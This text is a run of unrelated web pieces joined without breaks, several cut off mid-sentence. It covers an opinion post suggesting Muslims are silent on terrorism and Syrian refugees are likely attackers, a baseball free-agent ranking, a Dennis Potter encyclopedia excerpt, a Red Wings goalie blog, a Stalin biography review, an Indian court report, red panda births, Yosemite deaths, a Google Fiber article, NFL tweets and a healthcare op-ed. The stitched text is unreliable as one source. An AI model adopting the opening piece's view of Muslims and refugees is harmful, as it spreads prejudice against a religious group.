“The overwhelming majority of victims of terrorism over the last several years, and certainly the overwhelming majority of victims of ISIL, are themselves Muslims,” he said. “ISIL does not represent Islam. It is not representative in any way of the attitudes of the overwhelming majority of Muslims.”
I really want to believe that Islam is the religion of peace. I really do. But it’s hard to do when there is not overwhelming condemnation of the terrorist attacks from the majority of Muslims.
Where are the voices of the Muslims outraged that their faith has been hijacked? Where are the thousands of Muslims marching in the streets denouncing the terrorists? Where are they? Why have they chosen to remain silent?
I'm all for welcoming the huddled masses yearning to be free. It's the ones yearning to wage jihad that I'm worried about.
What's going to happen when one of those Syrian refugees opens fire in a Chick-fil-A or launches a chemical attack at Disney World or explodes a pressure cooker at Cafe DuMonde in the French Quarter?
We are not Islamophobic, Mr. President. We are not un-American. We just don't want our kids to get blown up.Brett Anderson took the Dodgers' money. His choice was to take $15.8 million to pitch for one year, or possibly triple it on the open market. It was some serious Who Wants to Be a Millionaire stuff, but he took the money. The decision makes sense for several reasons. There's a lot of pitching available this offseason. Teams have traditionally been wary about giving up their draft picks to sign second-tier free agents. And he can hit the free agent market next year.
Focus on that last one. Because, good gravy, next year's free agent pitchers are disappointing.
Disappointing is probably a little mild. Pretend you're Caleb J. Rickenton, inventor of miniature kangaroos the size of watermelons. You're a newly minted billionaire. You just bought your favorite team but, ugh, they can't pitch. Let's put those billions to good work and buy some pitchers. Who's available? A power ranking:
1. Stephen Strasburg
Oh, he's an ace, alright. Probably. He comes with risks (Tommy John history, a lousy 2015 season, Scott Boras), but if you're going to pay for talent, it helps if the pitcher has talent. Strasburg has talent. He practically leaks talent. Uh, anyone want to get some rags and help us out with this talent? It's sort of getting everywhere.
But, yes, Strasburg has the potential to lead a rotation. Most definitely. Don't forget just how awe-inspiring he can be at his best.
2. C.J. Wilson
He used to be okay! He'll be 36, but I could see a team giving him a two- or three-year deal.
Wilson might be the second-best pitcher on the 2016-2017 free agent market.
3. Jered Weaver
Wait, he throws 83 miles per hour.
4. R.A. Dickey
Wait, he's 83 years old.
5. Andrew Cashner
So much untapped talent that doesn't have to show up just because you want it to. The Gil Meche of a new generation.
6. Jesse Chavez
Perfectly acceptable, for the most part, kind of.
7. Brett Anderson
Solid pitcher, but he just accepted the qualifying offer because he correctly figured that teams wouldn't want to give up a draft pick for him.
8. Ivan Nova
Power sinker when right, but he's been hurt or bad for two years now
9 |
the MGM production of Pennies from Heaven in 1981, Potter wrote a novelisation of the screenplay. Potter turned down the option of writing a novelisation for the film version of Brimstone and Treacle, allowing his daughter Sarah to write it instead.
Stage plays [ edit ]
Although Potter only produced one play exclusively for theatrical performance (Sufficient Carbohydrate, 1983 – later filmed for television as Visitors in 1987), he adapted several of his television works for the stage. Vote, Vote, Vote for Nigel Barton, which featured material from its sister-play Stand Up, Nigel Barton, was premiered in 1966, while Only Make Believe (1973), which incorporated scenes from Angels Are So Few (1970), made the transition to the stage in 1974. Son of Man appeared in 1969 with Frank Finlay in the title role (Finlay would also play Casanova in Potter's 1971 serial) and was restaged by Northern Stage in 2006.[32] Brimstone and Treacle was adapted for the stage in 1977 after the BBC refused to screen the original television version. The play text for Blue Remembered Hills was first published in the collection Waiting for the Boat (with Joe's Ark and Blade on the Feather) in 1984 and has since enjoyed several successful stage performances. Potter proposed to write an "intermedia" stage play for producers Geisler-Roberdeau based on William Hazlitt’s Liber Amoris, or The New Pygmalion, but he died before it could be commenced.
Style and themes [ edit ]
Potter's work is known for its use of non-naturalistic devices. These include the extensive use of flashback and nonlinear plot structure (Casanova; Late Call), direct to camera address (Vote, Vote, Vote for Nigel Barton) and works where "the child is father to the man", in which he used adult actors to play children (Stand Up, Nigel Barton; Blue Remembered Hills). The 'lip-sync' technique he developed for his "serials with songs" (Pennies from Heaven; The Singing Detective and Lipstick on Your Collar) is perhaps the best known of the Potter trademarks. They are frequently deployed in works where the line between fantasy and reality becomes blurred, often as a result of the influence of popular culture (Willie, the Wild West obsessive played by Hywel Bennett in Where the Buffalo Roam) or from a character's apparent awareness of their status as a pawn in the hands of an omniscient author (the actor Jack Black (Denholm Elliott) in Follow the Yellow Brick Road first broadcast in 1972).
Potter's pioneering method of using music in his work emerged when developing Pennies from Heaven (1978), one of his biggest successes. He asked actors to mime along to period songs. "Potter tried out the concept himself by lip-syncing to old songs while looking into a mirror. Potter himself once revealed that, working on harnessing songs in his plays, he was most productive 'at night, with old Al Bowlly records playing in the background'".[33] Potter had previously experimented with Bowlly's voice in Moonlight on the Highway (1969).
Following in this spirit of non-naturalism, Potter's characters are frequently "doubled up"; either by using the same actor to play two different roles (Kika Markham as both the actress and the escort in Double Dare; Norman Rossington as Lorenzo the gaoler and the English traveller in Casanova) or two different actors whose characters' destinies and personalities appear interlinked (Bob Hoskins and Kenneth Colley as Arthur and the accordion man in Pennies from Heaven; Rufus (Christian Rodska) and Gina the bear in A Beast With Two Backs).
One major motif in Potter's writing is the concept of betrayal, and this takes many forms in his plays. Sometimes it is personal (Stand Up, Nigel Barton), political (Traitor; Cold Lazarus) and other times it is sexual (A Beast With Two Backs; Brimstone and Treacle). In Potter on Potter, published as part of Faber and Faber's series on auteurs, Potter told editor Graham Fuller that all forms of betrayal presented in literature are essentially religious and based on "the old, old story"; this is evoked in a number of works, from the use of popular songs in Pennies from Heaven to Potter's gnostic retelling of Jesus' final days in Son of Man.
The device of a disruptive outsider entering a claustrophobic environment is another recurring theme. In plays where this occurs, the outsider will commit some apparently liberating act of evil[34] (rape in Brimstone and Treacle) or violence (murder in Shaggy Dog) that gives physical expression to the unsublimated desires of the characters in that setting. While these more malevolent visitors are often supernatural beings (Angels Are So Few), intelligence agents (Blade on the Feather) or even figments of their host's imagination (Schmoedipus), there are also—rare—instances of benign visitors whose presence resolves personal conflicts rather than exploits them (Joe's Ark; Where Adam Stood).
Legacy [ edit ]
Although Potter won few awards, he is held in high regard by many within the television and film industry, and was an influence on such creators as Mark Frost,[35] Steven Bochco,[36] Andrew Davies,[37] Alain Resnais,[38] and Peter Bowker.[39] However, Alan Bennett referred in his 1998 diaries to a television programme "that took Potter at his own self-evaluation (always high), when there was a good deal of indifferent stuff which was skated over".[citation needed]
BBC Four marked the tenth anniversary of Potter's death in December 2004 with a major series of documentaries about his life and work, accompanied by showings of Pennies from Heaven and The Singing Detective, as well as several of his single plays—many of which had not been shown since their initial broadcast.[40]
Potter's papers, including unproduced plays and unpublished fiction, are being catalogued and preserved at the Dean Heritage Centre in Gloucestershire.[41]
Sources [ edit ]
Bibliography of Dennis Potter publications, York St John University
W. Stephen Gilbert Fight & kick & bite: the life and work of Dennis Potter, 1996, a.k.a. The Life and Work of Dennis Potter, Woodstock & New York: Overlook Press, 1998
, 1996, a.k.a., Woodstock & New York: Overlook Press, 1998 Dennis Potter Seeing the blossom, 1994
, 1994 Humphrey Carpenter Dennis Potter, 1998
, 1998 John R. Cook Dennis Potter: A Life On Screen, 1998
, 1998 Eckart Voigts-Virchow Männerphantasien. Introspektion und gebrochene Wirklichkeitsillusion im Drama von Dennis Potter (in German) 1995
FootnotesDETROIT, MICH -- The Red Wings have a problem.. Let me reiterate, the Red Wings have a problem that would be considered a good problem to have. Detroit has a tandem of two starting-caliber goalies in Jimmy Howard, and young-gun Petr Mrazek. Both goalies are some that I would imagine a handful of NHL teams would be very thankful to have. If you combine both Howard and Mrazek's cap-hit, you come out with just north of six-million dollars. When you compare that to some of the elite goaltenders in the NHL, I think that's an ideal situation to have with two net-minders who can start on any given night. The best part about it? With Petr Mrazek's pending RFA status after the 2015-2016 season, you have two goalies who give you a controlled amount of cap-hit to have tied up in your goalie core.
There's been a bit of ruckus over the last two years from fans, and Detroit media that Jimmy Howard should be on his way out of town. Before he was forced out of the 2015 NHL All Star Game due to injury, Howard was having a solid start to his sixth season as the Red Wings go-to starter. He ended the season with 23-13-11 record, and a 2.44 goals allowed average over the span of 53 games. With Red Wings backup goalie Jonas Gustavsson sidelined most of the season with an injury, Petr Mrazek saw 29 games with a record of 16-9-2, and a 2.38 goals allowed average. Mrazek eventually saw his first career appearance in the 2015 NHL Playoffs against the Tampa Bay Lightning in which he saw seven games, and had an extremely impressive outing for a rookie goaltender in the Red Wings first round exit.
With the surging performance of a young goalie comes media-based backlash on goalie Jimmy Howard. Jeff Riger of 97.1 The Ticket posted an article the other day that urged Ken Holland to consider trading Howard, and give the 24-year-old Czech goaltender the full-time job:
Sure Mrazek struggled at times and yes he allowed his fair share of "soft goals" but the money Howard is owed is better used in other areas. This blog is not to bash Jimmy and what he’s already achieved in a Wings uniform should not go unnoticed but the GM’s job is to make the Wings better next season and this is simply a matter of money, cash better spent elsewhere. Howard makes a lot but he’s still relatively young and it seems like Detroit could easily sell last season’s injury as the reason he struggled. They could point out his excellent, All Star stats pre injury. Detroit can cite his game 7 wins, his US Olympic stint, and him being good in the room as well. Teams are always looking for a goalie and with Howard’s credentials, there no doubt has to be one squad that would take him off the Wings hands. Howard has had a nice run in a Wings uniform and now it’s time for that run to continue elsewhere. Holland says no but I think he should reconsider. Source
While I appreciate Riger's work, and the voice that he has, there are a few things I would like to address with what's been said on this situation.
If, and that is a huge resounding if - If the Red Wings are able to trade Jimmy Howard and get a hefty $5.2 million relief in their cap, where would that money be better spent? The knee-jerk answer to this is the market of unrestricted free agents that are on the cards for the offseason. The Red Wings are a logjam at both ends of the ice, yet defense is something that they have been trying to bolster ever since 2012 when Nicklas Lidstrom decided to hang up his skates for good. Let's have a quick look at the more alluring crop of defenseman UFA this summer:
Mike Green - 29 years old
Paul Martin - 34 years old
Christian Ehrhoff - 32 years old
Andrej Sekera - 29 years old
Cody Franson - 27 years old
All of these players await a big payday, and there's no doubt about that. Let's just pretend Detroit didn't have a logjam of bottom-four defensemen already on their roster, stay with me now, we're pretending.. Do players like this make our team better? Absolutely without a shadow of a doubt. The problem is, these players are going to command money, and term. Two things Detroit have had a bad reputation with in recent years. Mike Green and Paul Martin could very well command terms with over $6 million AAV. They deserve it, sure, but the Red Wings are quickly exiting the "win now" stage, and are beginning the commencing of "draft and develop." My point is that Ken Holland should not be considering taking on big contracts at a time like this. They need a defenseman who is promising, skillful, and most importantly - Has not reached his prime. I'm talking about players like Oliver Ekman-Larsson, or Aaron Ekblad. Two players who are absolutely lightyears away from the trade block.
Speaking of trades, how many top-pair game-changing defensemen are currently on the trade block, let alone for a goaltender? The teams in play for a starting goalie don't exactly have those types of players for sale, or they don't even have them at all. So yeah, let's throw that idea in the garbage bin.
Let's say that you hypothetically could trade Jimmy Howard for a couple of draft picks, and get the cap-relief. You then need to set aside some of that money for a serviceable NHL backup. Are they easy to find? Sure, yeah. Also, don't tell me that Tom McCollum would be the answer, because we all know that's not true. The Red Wings have some promising young goalie prospects, but none that can be trusted at the NHL level, even at a backup position.
The thing with Detroit is that they absolutely have a lot of cap space to work with, but as I said before, I just don't think they can afford to spend the space they have on a contract with big term. You have two NHL-ready defensemen in Alexey Marchenko and Xavier Ouellet, albeit they are not top-pair players, they can get the job done in the bottom-four... Assuming you can somehow shed one of Brendan Smith or Jakub Kindl from the roster (that's a whole other can of worms to be opened in a different post.)
So at the end of the day, if Detroit somehow can bolster their defense by stripping Jimmy Howard's contract, it is a complete shot in the dark. I say this because you're banking on your top-pair to be lights out while giving up your extremely favorable tandem of goalies in Howard and Mrazek. I'm not saying that Howard needs to start. I think the job should go to the best goalie, and I also think that Mrazek is the better goalie as of right now. The competition between the two have serious potential to light fires underneath each other's rear-ends, and challenge them to become better at their craft.
The Red Wings need a defensive hero, but I have high doubts that he comes from free agency. With the tandem of two NHL starters at your helm, why change it now? You said it yourself, Kenny.. Draft and develop.Sometimes Mr. Kotkin’s efforts to entertain get a bit out of line, as when he discusses Stalin’s reputation as a ladies’ man with a crass reference to his sex organ. More important, he is not shy about assailing what he regards as false interpretations by other historians. His Stalin is not a disciple who deviates from Lenin; he is Lenin’s true disciple, in pitiless class warfare, in the inability to compromise, and, above all, in unshakable ideological conviction. Lenin’s “Testament,” which questioned Stalin’s ability to govern the Soviet Union, plays a major part in the maneuvering of his rivals to block his ascent, but Mr. Kotkin leans toward the theory that the document was a forgery, possibly by Lenin’s wife.
Image Stephen Kotkin Credit Larry Levanti
There is little equivocation in Mr. Kotkin’s judgments. Scholars who argue collectivization was necessary to force Russian peasants into a modern state are “dead wrong.” The conclusion by the British historian E. H. Carr that Stalin was a product of circumstances, and not the other way around, is “utterly, eternally wrong.” On the contrary, it is one of Mr. Kotkin’s major theses that Stalin “reveals how, on extremely rare occasions, a single individual’s decisions can radically transform an entire country’s political and socioeconomic structures, with global repercussions.” Or, as he puts it in a more graphic passage: “The Bolshevik putsch could have been prevented by a pair of bullets” — one for Lenin and one for Stalin. (In fact, there was a would-be-assassin’s bullet lodged in Lenin’s shoulder, and poisoning by its lead was raised as a possible reason for his medical problems.)
Mr. Kotkin’s involvement in his subject is so intense that at times he leaps from his historian’s perch right into the fray. He dismisses as “gobbledygook” Trotsky’s explanation that he did not want a senior post because people would say the Soviet Union was being ruled by a Jew. Then, amid the endless backstabbing among top Bolsheviks, Mr. Kotkin exclaims, “What in the world was Bukharin doing spilling his guts out to Kamenev?”
A work of this scope, ambition and intensity is bound to attract challenge, debate and criticism. I would have wished more attention to the role of culture and religion in the fall of the Russian empire and the rise of Soviet power, given their central places in Russian identity and sense of messianic destiny. Mr. Kotkin notes that Stalin wrote poetry and often attended the theater — Mikhail Bulgakov was his favorite playwright — but there is no discussion of what this meant to him, or of the role writers, poets, composers and artists played in those fateful years.
What was striking throughout the book were the many troubling echoes with Russia today. Mr. Kotkin argues convincingly that Stalin was that rare individual whose decisions radically changed history, and his next volume, on collectivization, promises to further develop the thesis. But it is hard when looking at the path Russia is plotting today not to wonder how much of that terrible era was Stalin’s implacable will, and how much was a Russia that seems forever dreaming of a special destiny and forever meekly surrendering all power to autocrats.LUCKNOW: Even as Vishwa Hindu Parishad (VHP) activists staged demonstrations across the state to protest Uttar Pradesh government's crackdown on the 84-kosi yatra, the Lucknow bench of Allahabad high court has directed the state government to release top VHP leaders Ashok Singhal, Praveen Togadia and Swami Rambhadracharya. They were arrested on Sunday along with 2096 others for violating the ban on VHP's 84-kosi yatra and on charges of breach of peace.
The release order was passed by a division bench of Justice Imtiyaz Murtaza and Justice DK Upadhayaya on a habeas corpus petition filed by local lawyer Ranjana Aginihotri. The court said that if there is no other case pending against the three leaders, the state government should release them immediately.
While Singhal was arrested in Lucknow, Togadia and Rambhadracharya were detained in Ayodhya. They had come to participate in VHP's yatra to garner support for the construction of Ram temple at the disputed site in Ayodhya.On behalf of the petitioner, advocate HS Jain argued that the three leaders were arrested for violation of section 151 of the Criminal Procedure Code which allows arrest to prevent the commission of cognizable offences. However, as per the law, no person arrested under section 151 can be detained in custody for a period exceeding 24 four hours from the time of his arrest unless his/her further detention is required or authorised under any other provisions of the Code or of any other law for the time being in force. The state government lawyers failed to reply to the queries posed by the court.Meanwhile, VHP activists protested across the state against the UP government attempts to foil the yatra. The government had banned the yatra on grounds that it may create law and order problem and violate the Supreme Court order to maintain status quo at the disputed site in Ayodhya.The high court had also upheld the state government's decision. However, despite that, VHP took out the yatra forcing the government to arrest its activists across the state. The government had said all those arrested would be kept in 14-day judicial custody till the date on which the yatra is to conclude, because of possibility that, if released, they would participate in yatra again.Sources said that the state government was contemplating slapping some more cases against the three VHP leaders or arrest them again soon after the release if they tried to proceed for the yatra again.The Birmingham Zoo in Alabama is now home to the first Red Panda cubs born in the US this year. Born May 30, the two cubs currently are off-exhibit with mom. This is the first litter for the mother, three-year-old Sorrel and father, four-year-old Shifu. This was a significant birth as Red Pandas are a threatened species with fewer than 2,500 adults left in the world, according to The Birmingham Zoo.
Sorrel is very protective of the cubs and is nursing regularly. This is very encouraging and staff are working hard to ensure that Sorrel has everything she needs to care for her new family. When born in human care, Red Panda cubs have a 50 percent mortality rate (the mortality rate in the wild is unknown), so it is wonderful news that the first-time mom is caring for her cubs so well.
Photo Credit: Birmingham Zoo
Red Pandas are quite delicate at birth and stay close to their mothers until they are around three months old. As long as things continue to go well, visitors can expect to see the cubs in the fall when they start to venture away from the den. For now, there is a live monitor of the pandas at the zoo's Red Panda exhibit.
The breeding that led to this birth is part of the American Zoological Association’s Species Survival Plan, a nationally-coordinated effort to save threatened and endangered animals from extinction. In the wild, Red Pandas live in the bamboo forests of China, Bhutan, India, Myanmar, and Nepal. While they share some habitat with the Giant Panda, the two species are not related. Red Pandas are listed by the International Union for Conservation of Nature (IUCN) as Vulnerable, a ranking one step down from Endangered. According to the IUCN, deforestation is the greatest threat to this species.Mr. Leeder’s fall is still under investigation, according to park officials, but foul play is not suspected. The death came on the heels of another one at Half Dome in which Hayley LaFlamme, 26, slipped in wet conditions. She fell 600 feet and was pronounced dead at the scene.
Such gruesome, headline-grabbing deaths have not been limited to Yosemite, of course. In late August, the body of a 59-year-old man was discovered in Yellowstone National Park, having been mauled and killed by a grizzly bear.
For all that, national parks officials say that the parks are not more or less dangerous than years past, and that many of the deaths are from more commonplace causes, like car accidents, heart attacks and suicides. Jeffrey Olson, a spokesman for the Park Service, said there had actually been fewer deaths at national parks so far this year — 113 through last week — than in the same period last year. And that is out of some 280 million annual visitors to the national parks.
“It’s a really, really small percentage of people who don’t make it home,” Mr. Olson said, adding that he thought the public was doing a good job of being safe. “We wish they did a little bit better job, of course. But you can trip on the curb at a park in Manhattan.” (True, though falling off a cliff is certainly less likely.)
Michael P. Ghiglieri, the co-author of “Off the Wall: Death at Yosemite,” with Charles R. Farabee Jr., said Yosemite was probably the deadliest park in the country, with about 900 traumatic deaths — those not attributable to a previous medical condition — since its establishment in 1890. It is a record that Mr. Ghiglieri attributes in part to the park’s unique geography, with fast-moving water, glacier-carved canyons and towering waterfalls.
“These are humongous, gigantic, scare-your-pants-off kinds of waterfalls,” he said.
And often it is the actions of those who go to gawk at such marvels that are to blame, including, Mr. Ghiglieri said, the eternal quest for the perfect snapshot.
Photo
“In Yosemite, there is an attraction of having your picture taken right there in those waterfalls, especially now with Facebook and Twitter,” he said. “But even with old cameras the attraction was the same.”
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Then, too, there are those who simply insist on pushing the limits — or pushing past clearly marked signs. It was just such a decision that turned fatal on July 19, when three 20-something visitors from an Assyrian church in nearby Ceres, Calif., fell into the Merced River, just above Vernal Fall, a 317-foot drop-off onto boulders below. The river was roaring, a result of the runoff from ample snows in the Sierra Nevada this winter, something that has made many of Yosemite’s waterways extra treacherous.
Witnesses to the deaths said that at least one of the victims had jumped the fence, slipped and fallen in, and that the other two died trying a rescue.
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Jake Bibee, who saw the accident, told The Fresno Bee that the group was “taking pictures and being stupid” before tragedy struck.
“We had to watch the fear on their faces as they knew they were plunging to their death,” Mr. Bibee said. “It was awful.”
There is also the danger of bravado. Half Dome, in particular, which is reachable only by a hike up an unrelentingly steep trail, is referred to by some aficionados as “our Mount Everest.”
And while that may be hyperbole, many who reach the final push toward the top of Half Dome — a 400-foot segment of cable at a 45-degree angle, often crowded with people — can make questionable decisions, like rushing or pushing ahead in bad weather.
“They call it ‘summit fever,’ ” said David Buchanan, 50, a regular visitor to Yosemite who has climbed Half Dome. “They’ve gone so far, not to make it to the top isn’t an option.”
This year, park officials have tried to limit the number of people who try to climb Half Dome by requiring permits. But the permit does not take applicants’ physical condition into account, Ms. Cobb said.
None of the bad news has seemed to hurt the park’s popularity. Yosemite had its busiest July ever this summer, with about 730,000 visitors. On Friday, a steady stream of cars plowed toward the park, while inside the gates, hundreds made the mile-and-a-half trek to the top of Vernal Fall.
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The river’s flow was less violent than in July, but still rapid. Nevertheless, several visitors climbed onto rocks and fallen limbs just beyond the edge of a small fence to pose for photos or dip their feet in the icy water despite a sign saying swimming and wading was prohibited.
Such rule-bending leads to eye-rolling by Yosemite visitors like Randy Crawford, 45, who was sitting with his wife and three children near a shallow section of the river known as the Silver Apron, about 500 feet from the top of the falls. Mr. Crawford said he was strict with his children: no running, no jumping, no touching the water.
“They don’t go near it, and they don’t go near the wet rock,” he said. “This is not Disneyland.”Google Fiber is part of the Access division of Alphabet Inc.[3] It provides fiber-to-the-premises service in the United States, providing broadband Internet and IPTV to a small and slowly increasing number of locations.[4] In mid-2016, Google Fiber had 68,715 television subscribers and was estimated to have about 453,000 broadband customers.[5]
The service was first introduced to the Kansas City metropolitan area,[6] including 20 Kansas City area suburbs within the first 3 years. Initially proposed as an experimental project,[7] Google Fiber was announced as a viable business model on December 12, 2012, when Google executive chairman Eric Schmidt stated "It's actually not an experiment, we're actually running it as a business," at the New York Times' DealBook Conference.[8]
Google Fiber announced expansion to Austin, Texas, and Provo, Utah, in April 2013, and subsequent expansions in 2014 and 2015 to Atlanta, Charlotte, the Triangle, Nashville, Salt Lake City, and San Antonio.[9]
On August 10, 2015, Google announced its intention to restructure the company moving less central services and products into a new umbrella corporation, Alphabet Inc. As part of this restructuring plan, Google Fiber would become a subsidiary of Alphabet and may become part of the Access and Energy business unit.[10] In October 2016, all expansion plans were put on hold and some jobs were cut.[11] Google Fiber will continue to provide service in the cities where it is already installed.
Services [ edit ]
A map of cities with Google Fiber
Google Fiber Network Box
Google Fiber offers five options, depending on location: a free Internet option, a 100 M bit/s option, a 1 G bit/s Internet option, and an option including television service (in addition to the 1 Gbit/s Internet) and an option for home phone. The Gigabit Internet service includes one terabyte of Google Drive service and the television service includes a two-terabyte DVR in addition to the Google Drive. The DVR can record up to eight live television shows simultaneously. In addition, television service will stream live program content on iPad and Android tablet computers.
Google offers several different service plans to their customers:[12][13]
Plan Gigabit + TV Gigabit Internet Basic Internet Internet bandwidth (download) 1 Gbit/s 1 Gbit/s 100 Mbit/s Internet bandwidth (upload) 1 Gbit/s 1 Gbit/s 100 Mbit/s TV service included yes no no Construction fee None None None Monthly recurring cost $160 $70 $50 Storage included 1 TB Google Drive
2 TB DVR
(8 tuners) 1 TB Google Drive None Hardware included Network box
TV box
TV remote control
8-tuner DVR Network box Network box
Google also offers free Google Fiber Internet connectivity in each of its markets to select public and affordable housing properties.[14]
Distribution [ edit ]
In order to avoid underground cabling complexity for the last mile, Google Fiber relies on aggregators dubbed Google Fiber Huts.
From these Google Fiber Huts, the fiber cables travel along utility poles into neighborhoods and homes, and stop at a Fiber Jack (an Optical Network Terminal or ONT) in each home.[15]
The estimated cost of wiring a fiber network like Google Fiber into a major American city is $1 billion.[16][17]
First city selection process [ edit ]
The initial location was chosen following a competitive selection process.[18] Over 1,100 communities applied to be the first recipient of the service.[19][20] Google originally stated that they would announce the winner or winners by the end of 2010; however, in mid-December, Google pushed back the announcement to "early 2011" due to the number of applications.[21][22][23]
The request form was simple, and, some have argued, too straightforward.[24] This led to various attention-getting behaviors by those hoping to have their town selected.[24] Some examples are given below:
Municipalities and citizens have also uploaded YouTube videos to support their bids. Some examples:
Operating locations [ edit ]
In 2011, Google launched a trial in a residential community of Palo Alto, California.[33] On March 30 of the same year, Kansas City, Kansas, was selected as the first city to receive Google Fiber.[6] In 2013, Austin, Texas, and Provo, Utah, were announced as expansion cities for Google Fiber on April 9 and 17 respectively.
Stanford University [ edit ]
In summer 2011, Google launched a free trial of its forthcoming fiber service in one residential community near Stanford University in Palo Alto, California.[33]
Kansas City [ edit ]
Google Fiber goes to Kansas City
Google found that affluent neighborhoods in Kansas City signed up for the faster service while those in poorer neighborhoods did not sign up for even the free option. In response to this digital divide, Google sent a team of 60 employees to the under-served areas to promote the Google Fiber service. Additionally, Google offered micro-grants to community organizations that want to start up digital literacy programs in Kansas City.[34]
The following are chronological announcements of service in the Kansas City metropolitan area. Neighborhoods are said to be selected based on demand:[35]
Kansas City, Kansas – On March 30, 2011, Kansas City, Kansas, was selected from over 1,100 applicants to be the first Google Fiber community. [6]
Kansas City, Missouri – On May 17, 2011, [36] Google announced the decision to include Kansas City, Missouri, thus offering service to both sides of the state line. The network became available to residents in September 2012.
Google announced the decision to include Kansas City, Missouri, thus offering service to both sides of the state line. The network became available to residents in September 2012. Olathe, Kansas – On March 19, 2013, Google announced that the project would be expanded to Olathe. [37]
North Kansas City, Missouri – On April 19, 2013, Google announced that they were to begin a 20-year lease on dark fiber in the existing LiNKCity fiber network in North Kansas City.[38][38] The original news article was incomplete and later articles clarified the lease.[39] Independent of Google's network the system in North Kansas City will also be upgraded to Gigabit capacity and managed by a local company based out of North Kansas City.
Google placed deployment in Overland Park, Kansas, on indefinite hold in October 2013, following delays by the City Council over concerns about whether an indemnification clause that Google required might force the city to repair any damage caused by the project.[54] As of July 2014, Overland Park's City Council had voted on a deal that would allow for Google Fiber. Soon after, the city appeared on Google Fiber's website.[55]
Austin [ edit ]
Austin, Texas – On April 9, 2013, it was announced that Austin would become a Google Fiber City. [56]
On October 15, 2014, it was announced that Austin signups for Google Fiber would start in December 2014. [57]
On December 3, 2014, Google started taking registrations from residents and small businesses.[58]
Google Fiber store entrance, Austin
Google Fiber store, Austin
Google Fiber store, Austin
TV box and Network box at Google Fiber store, Austin
Provo [ edit ]
Provo, Utah – On April 17, 2013, it was announced that Provo would become the third Google Fiber City.[59] Expansion of Google Fiber service to Provo, Utah will be accomplished through an agreement[60] with the City of Provo to allow Google to acquire the existing fiber network known as "iProvo". The agreement will allow Google to purchase the iProvo network for $1, while requiring Google to upgrade the aging network to gigabit capacity, offer free gigabit service to 25 local public institutions, and offer 5 Mbit/s service to every home in the city for free after a $300 activation fee.[61][62]
Salt Lake City [ edit ]
On March 24, 2015, Google announced that Google Fiber would expand into Salt Lake City, Utah. Service became available for signup on August 24, 2016.[63]
Charlotte [ edit ]
On July 12, 2016, sign-ups opened in Highland Creek (Charlotte neighborhood).[64]
On October 4, 2016, sign-ups opened in Prosperity Village.[65]
Atlanta [ edit ]
In the original announcement of 2015, the following areas were announced:[66]
In August 2016, sign-ups were opened.[67]
Research Triangle (Raleigh–Durham) [ edit ]
In the original announcement of 2015, the following areas of the Research Triangle were announced:[66]
On September 13, 2016, sign-ups opened.[68]
Nashville, Tennessee [ edit ]
The areas initially announced in February 2015 were:[66]
As of December 2016, construction is underway.[69] Sign-ups are open.
As of August 2017, Google Fiber announced that the Sylvan Park neighborhood in West Nashville had Google Fiber service officially operating, making Nashville a city currently with Google Fiber service.[70]
Announced future locations [ edit ]
California [ edit ]
On January 27, 2015, Google announced that Google Fiber would expand into additional markets:[66]
Irvine, California, previously announced separately, is in Orange County.
San Antonio, Texas [ edit ]
On April 14, 2016, Google sent a blast email to early adopters of Google Fiber announcing that they were indeed behind the visible construction across the city. A few details were given about the vast extent of the construction that was being undertaken, Google is in the process of deploying about 4,000 linear miles (6,500 km) of fiber-optic cable throughout San Antonio.[71] In advance of the imminent deployment of the new fiber network the direct competitors of Google Fiber, AT&T U-Verse, Time Warner Cable, and Grande Communications, have dropped prices and increased the speeds of their networks. San Antonio, the seventh-largest city in the nation, is the largest project that Google Fiber has taken on to date.
On August 5, 2015, expansion into San Antonio was announced.[72] As of December 2016, construction is underway.[73] However, in January 2017, construction was halted pending concerns about the placement of Google Fiber huts in city parks.[74][75] Mayor Ivy Taylor expressed commitment to working with Google to address community concerns and allow the project to continue.[76]
Huntsville, Alabama [ edit ]
On February 22, 2016, Google announced that Google Fiber would expand into Huntsville, Alabama.[77]
Closed and former locations [ edit ]
Louisville, Kentucky [ edit ]
In April 2017, Google announced that Google Fiber would start construction in Louisville, Kentucky.[78] Google Fiber got the service to sections of Louisville in five months after it first announced that it would be coming to the city—faster than it had ever deployed before—by using shallow trenching.[79][80] In February 2019 Google announced it would shut down service on April 15.[81] Prior to departing, Google Fiber service was criticized for |
Hotline.
Appreciate leadership of @Strong_TexasFB. Admire his 5 core values: Honesty, treat women with respect, and no drugs, stealing, or guns[/p]� Troy Vincent (@TroyVincent23) September 28, 2014
This morning, @NFLCommish & I met w @Strong_TexasFB to discuss core values, game integrity, & college relations. Great meeting, great input.[/p]� Troy Vincent (@TroyVincent23) September 28, 2014
.@Strong_TexasFB’s emphasis on character & respect over talent is molding the next generation of football talent. Standards are key.[/p]� Troy Vincent (@TroyVincent23) September 28, 2014
Commissioner and I are focused on strengthening relationships with colleges. Thank you for your time today @Strong_TexasFB[/p]� Troy Vincent (@TroyVincent23) September 28, 2014
After Texas beat Kansas 23-0 on Saturday, Strong denied a HornsDigest.com report that he was going to meet with Goodell and DeMaurice Smith of the NFLPA.
Smith was not in attendance Sunday and poked fun at the report on Twitter.
The NFL has been plagued by recent off-field issues surrounding domestic violence, the most notable being the Baltimore Ravens star Ray Rice who slugged his then-fiance in an Atlantic City hotel elevator. The NFL initially suspended Rice for just two games before new video was released showing a full account of the event. Goodell then suspended Rice for the season
There are even calls for Goodell himself to step down as the league's commissioner.
Meanwhile, Strong has dismissed nine Texas players over violations of team policies and suspended three others since taking the reins from Mack Brown. Even at the risk in disruption of his program, Strong has taken a stand for doing what is right over doing what helps a team win a game.
Strong has said repeatedly that he runs his program based on five core values — honesty, treat women with respect, no drugs, no stealing and no guns.After the Senate Finance Committee wrote a healthcare bill that would create windfall profits for insurers, the insurers plunged the knife into the back of the committee with a bogus report to frighten consumers on the eve of committee action. Windfall profits aren't enough for the Gilded Age lobbyists of greed. They want more! They want it all!
The president should step into the Rose Garden and denounce the tissue of lies put out by the industry and demand, and I mean demand, the inclusion of a public option in the healthcare bill.
In a sick and sad way, the insurance industry report is right, though not in the way insurers intended. The Finance Committee bill will raise premiums because it does not include the public option, and because it therefore forces consumers to buy private-sector products, punishing them if they don’t, without providing the real competition of the public option.
This bizarre act of betrayal by the insurance industry may surprise the idiot savants who believe the industry can be treated like reasonable people in a reasonable dialogue, when the truth is, healthcare costs skyrocket for a reason, which is that some people make huge excess profits from those skyrocketing costs. Those making these unjust profits will clutch and grasp them to the bitter end, they will scratch and claw, they will kick and bite, they dish out money like drunken sailors to buy and sell legislation and when all else fails, they will issue bogus reports on the eve of the committee vote.
